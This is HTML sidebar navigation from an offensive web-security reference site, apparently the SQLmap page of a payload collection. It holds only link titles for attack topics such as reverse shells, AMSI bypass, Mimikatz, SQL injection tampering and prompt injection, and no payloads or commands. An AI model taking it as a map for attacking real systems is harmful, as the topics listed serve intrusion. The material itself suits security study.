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<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
<span class="md-ellipsis">
CRLF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_8">
<span class="md-nav__icon md-icon"></span>
CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_9">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
<span class="md-ellipsis">
CVE Exploits
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
CVE Exploits
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Clickjacking/" class="md-nav__link">
<span class="md-ellipsis">
Clickjacking
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
Client Side Path Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Client%20Side%20Path%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
Cross Site Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_14">
<span class="md-nav__icon md-icon"></span>
Cross Site Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Cross-Site%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
DOM Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
DOM Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../DOM%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
DOM Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Denial of Service
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Denial of Service
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Denial%20of%20Service/" class="md-nav__link">
<span class="md-ellipsis">
Denial of Service
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../File%20Inclusion/" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../File%20Inclusion/LFI-to-RCE/" class="md-nav__link">
<span class="md-ellipsis">
LFI to RCE
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../File%20Inclusion/Wrappers/" class="md-nav__link">
<span class="md-ellipsis">
Inclusion Using Wrappers
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../GraphQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
Headless Browser
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
Headless Browser
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Headless%20Browser/" class="md-nav__link">
<span class="md-ellipsis">
Headless Browser
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_26">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/PHP/" class="md-nav__link">
<span class="md-ellipsis">
PHP Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Python/" class="md-nav__link">
<span class="md-ellipsis">
Python Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Ruby Deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Direct%20Object%20References/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Management%20Interface/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Management Interface
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_29">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_30">
<span class="md-nav__icon md-icon"></span>
Insecure Source Code Management
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Bazaar/" class="md-nav__link">
<span class="md-ellipsis">
Bazaar
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Git/" class="md-nav__link">
<span class="md-ellipsis">
Git
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Mercurial/" class="md-nav__link">
<span class="md-ellipsis">
Mercurial
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Subversion/" class="md-nav__link">
<span class="md-ellipsis">
Subversion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
<span class="md-ellipsis">
JSON Web Token
</span>
<span class="md-nav__icon md-icon"></span>
</label>
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LDAP Injection
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LaTeX Injection
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LaTeX Injection
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Mass Assignment
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Mass Assignment
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Mass Assignment
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Active Directory Attacks
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Bind Shell
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Cloud - Azure
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Cobalt Strike
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Container - Docker
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Container - Kubernetes
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Application Escape and Breakout
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HTML Smuggling
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Hash Cracking
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Initial Access
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Linux - Evasion
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Linux - Persistence
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Linux - Privilege Escalation
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MSSQL Server
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Metasploit
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Bug Hunting Methodology and Enumeration
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Network Discovery
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Network Pivoting Techniques
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Office - Attacks
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Powershell
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Reverse Shell Cheat Sheet
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<a href="../../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
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Source Code Management &amp; CI/CD Compromise
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Vulnerability Reports
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Subdomains Enumeration
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</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
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Windows - AMSI Bypass
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</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
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Windows - DPAPI
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</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Defenses
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
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Windows - Download and execute methods
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</a>
</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
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Windows - Mimikatz
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</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
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Windows - Persistence
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
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Windows - Privilege Escalation
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</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
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Windows - Using credentials
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NoSQL Injection
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NoSQL Injection
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NoSQL Injection
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OAuth Misconfiguration
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OAuth Misconfiguration
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<a href="../../OAuth%20Misconfiguration/" class="md-nav__link">
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OAuth Misconfiguration
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ORM Leak
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
ORM Leak
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<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../ORM%20Leak/" class="md-nav__link">
<span class="md-ellipsis">
ORM Leak
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</ul>
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
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Open Redirect
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_40">
<span class="md-nav__icon md-icon"></span>
Open Redirect
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Open%20Redirect/" class="md-nav__link">
<span class="md-ellipsis">
Open URL Redirect
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</a>
</li>
</ul>
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<span class="md-ellipsis">
Prompt Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
Prompt Injection
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<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Prompt%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Prompt Injection
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</a>
</li>
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Prototype Pollution
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
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Prototype Pollution
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<li class="md-nav__item">
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Prototype Pollution
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Race Condition
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Race Condition
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<li class="md-nav__item">
<a href="../../Race%20Condition/" class="md-nav__link">
<span class="md-ellipsis">
Race Condition
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Regular Expression
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<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_44">
<span class="md-nav__icon md-icon"></span>
Regular Expression
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<li class="md-nav__item">
<a href="../../Regular%20Expression/" class="md-nav__link">
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Regular Expression
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<span class="md-ellipsis">
Request Smuggling
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<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
Request Smuggling
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<li class="md-nav__item">
<a href="../../Request%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
Request Smuggling
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SAML Injection
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<span class="md-nav__icon md-icon"></span>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
SAML Injection
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<li class="md-nav__item">
<a href="../../SAML%20Injection/" class="md-nav__link">
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SAML Injection
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SQL Injection
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SQL Injection
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SQL Injection
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<a href="../BigQuery%20Injection/" class="md-nav__link">
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Google BigQuery SQL Injection
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Cassandra Injection
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DB2 Injection
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MSSQL Injection
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MySQL Injection
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Oracle SQL Injection
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PostgreSQL Injection
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SQLite Injection
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</li>
<li class="md-nav__item md-nav__item--active">
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
<label class="md-nav__link md-nav__link--active" for="__toc">
<span class="md-ellipsis">
SQLmap
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<a href="./" class="md-nav__link md-nav__link--active">
<span class="md-ellipsis">
SQLmap
</span>
</a>
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#basic-arguments-for-sqlmap" class="md-nav__link">
<span class="md-ellipsis">
Basic Arguments For SQLmap
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#load-a-request-file" class="md-nav__link">
<span class="md-ellipsis">
Load A Request File
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#custom-injection-point" class="md-nav__link">
<span class="md-ellipsis">
Custom Injection Point
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#second-order-injection" class="md-nav__link">
<span class="md-ellipsis">
Second Order Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#getting-a-shell" class="md-nav__link">
<span class="md-ellipsis">
Getting A Shell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#crawl-and-auto-exploit" class="md-nav__link">
<span class="md-ellipsis">
Crawl And Auto-Exploit
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#proxy-configuration-for-sqlmap" class="md-nav__link">
<span class="md-ellipsis">
Proxy Configuration For SQLmap
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#injection-tampering" class="md-nav__link">
<span class="md-ellipsis">
Injection Tampering
</span>
</a>
<nav class="md-nav" aria-label="Injection Tampering">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#suffix-and-prefix" class="md-nav__link">
<span class="md-ellipsis">
Suffix And Prefix
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#tamper-scripts" class="md-nav__link">
<span class="md-ellipsis">
Tamper Scripts
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#reduce-requests-number" class="md-nav__link">
<span class="md-ellipsis">
Reduce Requests Number
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#sqlmap-without-sql-injection" class="md-nav__link">
<span class="md-ellipsis">
SQLmap Without SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
<span class="md-ellipsis">
Server Side Include Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_48">
<span class="md-nav__icon md-icon"></span>
Server Side Include Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Include%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Include Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
<span class="md-ellipsis">
Server Side Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_49">
<span class="md-nav__icon md-icon"></span>
Server Side Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Server-Side Request Forgery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Request%20Forgery/SSRF-Advanced-Exploitation/" class="md-nav__link">
<span class="md-ellipsis">
SSRF Advanced Exploitation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances/" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Cloud Instances
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
<span class="md-ellipsis">
Server Side Template Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_50">
<span class="md-nav__icon md-icon"></span>
Server Side Template Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/ASP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - ASP.NET
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/Java/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Java
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/JavaScript/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - JavaScript
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/PHP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - PHP
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/Python/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Python
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Ruby
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
<span class="md-ellipsis">
Tabnabbing
</span>
<span class="md-nav__icon md-icon"></span>
</label>
